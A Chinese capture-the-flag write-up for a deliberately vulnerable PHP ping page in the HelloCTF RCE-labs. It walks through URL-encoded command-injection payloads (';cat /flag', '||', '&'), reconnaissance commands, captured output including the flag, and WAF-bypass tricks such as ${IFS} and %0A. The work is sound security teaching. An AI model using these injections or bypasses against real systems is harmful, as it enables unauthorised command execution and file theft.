视频加载失败

HelloCTF RCE-labs Level 4 题解:SHELL 运算符

3723 字
19 分钟
HelloCTF RCE-labs Level 4 题解:SHELL 运算符

HelloCTF RCE-labs · 命令执行:SHELL 运算符 —— Writeup#

项目内容
靶场HelloCTF RCE 靶场(github.com/ProbiusOfficial/RCE-labs,作者 探姬)
关卡命令执行 —— SHELL 运算符(Shell Operators)
题型Web / PHP 命令执行(Command Injection / RCE)
目标http://80-3746d733-ddb8-4db6-ba6f-982b35b410f5.challenge.ctfplus.cn/
入口参数GET 参数 ip
过滤情况无任何过滤,值原样拼进 system()
工具新版 HackBar(DevTools 内置版)、Burp Suite Community v2026.8(新版 UI)
结果拿到 Geesec{6c502190-7355-46bb-bc5c-b750ae133cad}

注:上方地址是平台下发的临时实例,题目做完后会失效。复现时请替换成自己那一份。


一、题目#

打开靶机,页面直接把源码打印了出来(highlight_file(__FILE__) 的效果)。去掉出题人的大段教学注释后,核心只有三行:

function hello_server($ip){
system("ping -c 1 $ip");
}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);

题面注释里出题人已经把本关的教学点写清楚了 —— 一张 SHELL 运算符速查表:

运算符含义出题人给的例子
&&逻辑与:cmd_1 成功(返回 0)才执行 cmd_2mkdir test && cd test
||逻辑或:cmd_1 失败(返回非 0)才执行 cmd_2cd no_dir || echo "not found"
&后台运行:cmd_1 丢后台,立刻执行 cmd_2sleep 10 & echo "run now"
;命令分隔符:无论 cmd_1 成败都执行 cmd_2echo "Hello" ; echo "World"

⚠️ 这四个例子都是命令行写法。直接搬进 URL 会失效(; 和 & 会在 HTTP 层被切掉)—— 它们在 URL 里的正确写法见 6.6。

并给了两行提示:

try GET: ?ip=8.8.8.8
flag is /flag

二、题目分析#

2.1 三条线索#

线索(页面原文)出现位置推出的结论
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;源码参数名叫 ip,走 GET 查询串传入
system("ping -c 1 $ip");源码值被双引号拼接进 shell 命令,system() 直接回显
全篇没有任何 preg_match / str_replace源码零过滤,不用考虑 WAF 绕过

2.2 本关和「空字符/通配符」那关的本质区别#

那关参数 cmd 的值就是一条完整命令,不存在拼接;本关是拼接型:

ping -c 1 $ip
^^^^ 把这里换成 <地址><运算符><命令>

所以本关唯一要解决的就是一个问题:用哪个运算符,把第二条命令接在 ping 后面。

2.3 拼接后 Shell 实际看到什么#

以 ?ip=127.0.0.1%3Bcat%20/flag 为例(分号写成了 %3B,这一点见 3.3,不编码会直接失败),PHP 解码后拿到 127.0.0.1;cat /flag,拼完交给 shell 的字符串是:

Terminal window
ping -c 1 127.0.0.1;cat /flag

shell 按 ; 切成两条独立命令,依次执行,两条的输出都进 stdout,system() 原样吐回给你。于是 ping 的结果和 cat /flag 的结果会上下挨在一起回显 —— 这是判断”注入成功了没有”的最直观依据。

2.4 关键实测:本靶机的 ping 必然失败#

这一点不实测很容易被”课本知识”带偏。实际探测结果如下。

探测项命令回显结论
执行身份?ip=%3Biduid=82(www-data)非 root
ping 路径?ip=%3Bwhich ping/bin/ping—
ping 真身?ip=%3Bls -l /bin/ping/bin/ping -> /bin/busyboxbusybox 软链
直接执行?ip=127.0.0.1%3Bping -c 1 127.0.0.1 2>&1ping: permission denied (are you root?)权限不足
退出码?ip=127.0.0.1%3Becho RC=$?RC=1返回 1(失败)

原因:busybox 的 ping 需要 CAP_NET_RAW(一般靠 root 或 setuid 获得),而 PHP 以 www-data 身份运行,拿不到该权限 —— 它只是打印了一行 PING ... 56 data bytes 就报错退出,一个 ICMP 包都没发出去。

这一条直接决定两种”有条件运算符”的生死:

运算符触发条件在本靶机的实际表现
&&前一条返回 0 才执行❌ ping 永远返回 1 ⇒ 永远不会触发
||前一条返回 非 0 才执行✅ ping 永远失败 ⇒ 永远会触发

2.5 四种运算符的取舍(含实测)#

运算符payload(已按 3.3 规则编码)结果
;?ip=127.0.0.1%3Bcat%20/flag✅ 无条件执行,最省心,首选
||?ip=x%7C%7Ccat%20/flag✅ ping 必失败 ⇒ 必然触发
&?ip=127.0.0.1%26cat%20/flag✅ 能触发
&&?ip=127.0.0.1%26%26cat%20/flag❌ 哑火 —— ping 拿不到 0 返回码

如果非要让 && 生效,得先自己制造一个成功命令,例如 ?ip=x%3Btrue%26%26cat%20/flag。既然已经有 ; 可用了,这就属于多此一举 —— 这正是本关的”题眼”所在。

结论:本关实际可用的是 ;、\|\|、&,&& 因为靶机 ping 无权执行而天然失效。


三、Burp Suite 操作(新版 UI · Community v2026.8)#

3.1 打开内置浏览器#

新版 UI 顶部标签是 Dashboard / Target / Proxy / Intruder / Repeater,scope 不在 Target 里(在 Settings → Tools → Scope)。内置浏览器入口:

Proxy → Intercept 页 → 右上角 Open browser

免配代理、免装证书,直接用。

3.2 三步走到 Repeater#

步操作目的
1在 Burp 内置浏览器里访问 http://<靶机>/?ip=8.8.8.8制造一个带参数的合法请求做底座
2切到 Proxy → HTTP history,找到这条 GET ...?ip=8.8.8.8,右键 → Send to Repeater把请求原样搬到重放器
3切到 Repeater,在上方请求行的 URL 里直接改 ip 的值改 payload 反复重放(记得按 3.3 编码)

也可以跳过浏览器:直接在 Repeater 里手写 GET /?ip=... HTTP/1.1 + Host: <靶机>,效果一样。

3.3 改 payload 的两个坑#

坑一(最容易踩):; 和 & 都会在 HTTP 层被吃掉。

这台服务器的 PHP 把 ; 也当作参数分隔符(arg_separator.input 里含 ;,这是 PHP 5 时代的默认值),所以分号和与号一样,裸写就会被切开。

实测对照:

你写进 URL 栏的$_GET['ip'] 实际拿到结果
?ip=127.0.0.1;cat%20/flag127.0.0.1❌ 后半截丢失,响应里只剩 PING
?ip=127.0.0.1%3Bcat%20/flag127.0.0.1;cat /flag✅ PING + flag

这就是”BP 里明明发了 payload 却什么都没有”的头号原因 —— 响应 200、PING 那行也在,看起来一切正常,实际第二条命令从来没进过 PHP。

必背编码表:

字符能裸写吗编码为原因
;❌%3B被当参数分隔符
&❌%26被当参数分隔符
空格勉强%20转义更稳妥
|可以%7C(建议)不是分隔符,编码更保险
$可以无需处理不是保留字符

铁律:在 Repeater 的 URL 栏里,;、&、空格一律百分号编码。照 shell 的写法直接敲,payload 会死在 HTTP 层,而且不会有任何报错。

坑二:别忘了 %20。

?ip=127.0.0.1%3Bcat /flag 中间那个裸空格,稳妥写法是 %20:

?ip=127.0.0.1%3Bcat%20/flag

3.4 逐个验证#

按 Ctrl+R(或点 Send)依次重放,观察 Response:

GET /?ip=127.0.0.1%3Bcat%20/flag ← 首推,无条件执行
GET /?ip=x%7C%7Ccat%20/flag ← ping 必失败 ⇒ 必然触发
GET /?ip=127.0.0.1%26cat%20/flag ← 后台运行
GET /?ip=127.0.0.1%26%26cat%20/flag ← 会哑火,用来验证 2.4 的结论

四条严格按 3.3 的规则编码:;→%3B、&→%26、空格→%20、|→%7C。

前三条能出 flag,最后一条空白 —— 这个”反差”就是本关最值得记住的地方。


四、结果#

用 ;(URL 里编码成 %3B)一次打通,响应体里 ping 输出之后直接跟着 flag:

PING 127.0.0.1 (127.0.0.1): 56 data bytes
Geesec{6c502190-7355-46bb-bc5c-b750ae133cad}

注意回显里只有 PING ... 的抬头行,没有 64 bytes from ...、也没有统计行 —— 这正是 2.4 里那个”ping 无权执行”的直观证据。第一条命令虽然废了,; 后面的 cat 照跑不误,这就是无条件运算符的意义。

同时验证了执行身份与文件权限:

$ ?ip=127.0.0.1%3Bid
uid=82(www-data) gid=82(www-data) groups=82(www-data)
$ ?ip=127.0.0.1%3Bls -la /flag
-rwxr--r-- 1 root root 45 Oct 7 15:05 /flag

flag 文件权限是 -rwxr--r--,owner/group 之外的 others 有读权限,所以 www-data 直接 cat 就能读,不需要提权。


五、这道题想教你什么#

教学点具体内容
1. 认识拼接型命令注入危险点不在参数本身,而在 system("ping -c 1 $ip") 这种”把用户输入拼进 shell 命令”的写法
2. 分清四种运算符的执行条件; 无条件 / && 前成功 / || 前失败 / & 后台 —— 这是选 payload 的判断依据
2b. 不要背结论,要实测前置命令的成败本靶机 ping 因无 CAP_NET_RAW 必然返回 1 ⇒ && 哑火、|| 必触发。同一套运算符,换个能 ping 通的环境结论就反过来
3. 两层解析、两层编码; 和 & 在 HTTP 层都是参数分隔符,裸写就死在 $_GET 解析上(无报错、无回显,最难排查),必须写成 %3B / %26;编码之后它们才是 shell 层的运算符
4. 判断注入成功与否的依据system() 把两条命令的输出拼接回显,ping 结果后面多出来的那一行就是命令执行成功的证据
5. 排查手法:人质标记法没回显时先塞一个 echo HOSTAGE_A 当标记,判断卡在 HTTP 层还是 shell 层(详见第六章)

六、深入:为什么 ; 必须写成 %3B(附踩坑记录)#

6.1 案发现场#

在 Burp Repeater 里按”shell 的写法”直接敲:

GET /?ip=127.0.0.1;cat%20/flag HTTP/1.1
Host: 80-3746d733-....challenge.ctfplus.cn

响应是 200 OK:

PING 127.0.0.1 (127.0.0.1): 56 data bytes
<code><span style="color: #000000"><?php ...源码...</span></code>

没有 flag,也没有任何报错。 最迷惑人的是 PING 那一行照常打印,看起来”命令执行一切正常”,很容易让人误判成”payload 写错了”而反复换 payload。

6.2 根因:你的 payload 要穿过三层#

层谁在解析它会动你的什么
① 客户端浏览器 / curl / Burp# 之后的内容根本不发送
② HTTP + PHP$_GET 参数解析按分隔符切参数,再做 URL 解码
③ shell/bin/sh -c按运算符切命令、展开变量、处理引号

坑就在第 ② 层:切分发生在解码之前。 所以”你以为的一个参数”,在 PHP 眼里可能是两个。

6.3 逐步拆解#

裸分号:?ip=127.0.0.1;cat%20/flag

阶段结果
服务端收到原始查询串ip=127.0.0.1;cat%20/flag
PHP 按分隔符切参数切成 ip=127.0.0.1 + cat /flag(无值)
$_GET['ip'] 实际是127.0.0.1 ← 后半截没了
交给 system()ping -c 1 127.0.0.1
回显只有 PING 抬头

编码分号:?ip=127.0.0.1%3Bcat%20/flag

阶段结果
服务端收到原始查询串ip=127.0.0.1%3Bcat%20/flag
PHP 按分隔符切参数没有裸分隔符可切 ⇒ 整个是一个参数
URL 解码127.0.0.1;cat /flag
交给 system()ping -c 1 127.0.0.1;cat /flag
回显PING + flag ✅

一句话:%3B 让分号”伪装”成普通字符混过切分阶段,解码后才现出原形,正好赶上第 ③ 层。

实测对照(打在人把子上):

发送$_GET['ip'] 收到回显
?ip=1.1.1.1;echo%20SEP_TAG1.1.1.1只有 PING 1.1.1.1
?ip=1.1.1.1%3Becho%20SEP_TAG1.1.1.1;echo SEP_TAGPING 1.1.1.1 + SEP_TAG

6.4 同类字符全表#

A 类 —— 会在第 ② 层被改写(必须编码)

字符裸写会怎样正确写法依据
;被当参数分隔符,后半截静默消失%3B本靶机实测
&被当参数分隔符%26本靶机实测
+被解码成空格%2B(要字面加号时)本地实测:ip=TAGA+TAGB → TAGA TAGB
%是转义引导符,%41 会变成 A%25本地实测:ip=TAG%41 → TAGA
空格部分场景被吞%20(或 +)规范
[ ]PHP 把值变成数组,ping 收到 Array 而报错尽量不用;必须用时写 %5B %5DPHP 特性

B 类 —— 会在第 ① 层就被截断

字符裸写会怎样正确写法依据
#之后的内容客户端根本不发送%23本地实测:请求 /?ip=TAGH#CUT,服务端只收到 /?ip=TAGH

# 是 URL 的 fragment 分隔符,属于客户端行为。用 curl / 浏览器时一定要 %23;Burp 的 URL 栏大多会保留,但别赌。

C 类 —— 第 ② 层安全,但第 ③ 层(shell)会搞事

这类不需要为了过 HTTP 层而编码,但它们才是命令注入的”武器库”:

字符HTTP 层shell 层的作用
' "安全引号,可闭合/拼接绕过过滤
$安全变量展开(${IFS}、$IFS$9 当空格用)
`安全命令替换
|安全(建议 %7C)管道
> <安全重定向
* ?安全通配符(绕关键词黑名单)
换行 %0A必须编码等价于 ;,且常能绕过只拦 ; 的 WAF

6.5 排查手法:人质标记法#

“发了 payload 却没有回显”时,不要急着换 payload,先定位它卡在哪一层。做法是往 payload 里塞一个独一无二的标记当”人质”:

?ip=1.1.1.1;echo HOSTAGE_A ← 裸写
?ip=1.1.1.1%3Becho HOSTAGE_A ← 编码

然后看回显:

现象说明卡在哪一层下一步
PING 有、HOSTAGE_A 没有第 ② 层(HTTP/PHP)检查编码:;→%3B、&→%26
PING 有、HOSTAGE_A 有、flag 没有第 ③ 层(shell)检查运算符、命令路径、权限
连 PING 都没有请求根本没到检查 URL 拼写、实例是否存活

这个手法在本题之外同样通用:先证明”我能执行一条无害命令”,再换成真 payload。

6.6 回头再看题面:页面教的 vs 编码补的#

这一节把整道题的两半合起来看。

靶机注释教的 SHELL 运算符语义,属于 shell 层(第 ③ 层);而 %3B 这类编码属于 HTTP + PHP 层(第 ② 层)。

没有第 ② 层的知识,第 ③ 层的知识一次都用不上 —— 你完全理解了四种运算符的行为,但只要 ; 裸着写,shell 那一层永远收不到它。

页面给的四个例子,全都是命令行里的写法,落进 URL 都得重新翻译一遍:

页面教的运算符页面给的例子(命令行写法)URL 里实际要写不编码的后果
; 命令分隔符echo "Hello" ; echo "World"%3B后半截静默消失
& 后台运行符sleep 10 & echo "run now"%26被当参数分隔符
&& 逻辑与mkdir test && cd test%26%26两个 & 都要编码
|| 逻辑或cd no_dir || echo "not found"%7C%7C(裸写也能过)—

为什么这一块特别容易被忽略:

  1. 页面里没有一个例子是 URL 写法,清一色命令行写法;
  2. 页面唯一的 GET 示范 ?ip=8.8.8.8 不含任何分隔符 —— 照抄它永远成功。

于是形成一个陷阱:照抄示范能过;一旦你按页面的知识补上一个 ;,就踏进了页面没写的那一半。

两者是互补关系,缺一不可:

页面教的编码补的
回答的问题用哪个运算符怎么让运算符送到
所在层shell(第 ③ 层)HTTP + PHP(第 ② 层)
缺了会怎样不知道该拿什么接命令知道也送不进去

打个比方:页面教你”这把钥匙能开哪扇门”,编码保证”钥匙能插进锁孔”。 知识点是页面给的,实操是页面留白的 —— 而留白的那部分,才是这道题真正想让你踩一次坑的地方。

6.7 一句话记住#

URL 里遇到 ; & + % # 和空格,一律百分号编码。 其中 ; & 改变的是参数个数(最危险,静默失败),+ % 改变的是内容,# 会让整段消失。


七、一句话总结#

本关无过滤、无黑名单,唯一考点是”知道哪个运算符能把命令接上去,以及它在 URL 里怎么正确编码”。

顺带记住两条来自实战的教训:

  1. 运算符语义是死的,前置命令的成败是活的 —— 本靶机 ping 恒返回 1,导致 && 哑火、|| 必触发(见 2.4)。
  2. 能跑通的 payload ≠ 用户能跑通的 payload —— 用 curl --data-urlencode 验证时它会自动编码 ;,正好绕过 6.3 的坑;复现”手敲 URL”必须用裸字符串。

真正在实战里,; 通常会被 WAF 拦,那时才轮到 &&、%0A、${IFS}、$IFS$9 这些替代品登场。

支持与分享

如果这篇文章对你有帮助,欢迎分享给更多人或打赏支持!

打赏
HelloCTF RCE-labs Level 4 题解:SHELL 运算符
https://quinc.cn/posts/helloctf_rce_labs_lv4_writeup/
作者
QuinC
发布于
2026-10-07
许可协议
CC BY-NC-SA 4.0

文章目录

WELCOME欢迎来到 QuinC

很高兴在这里遇见你。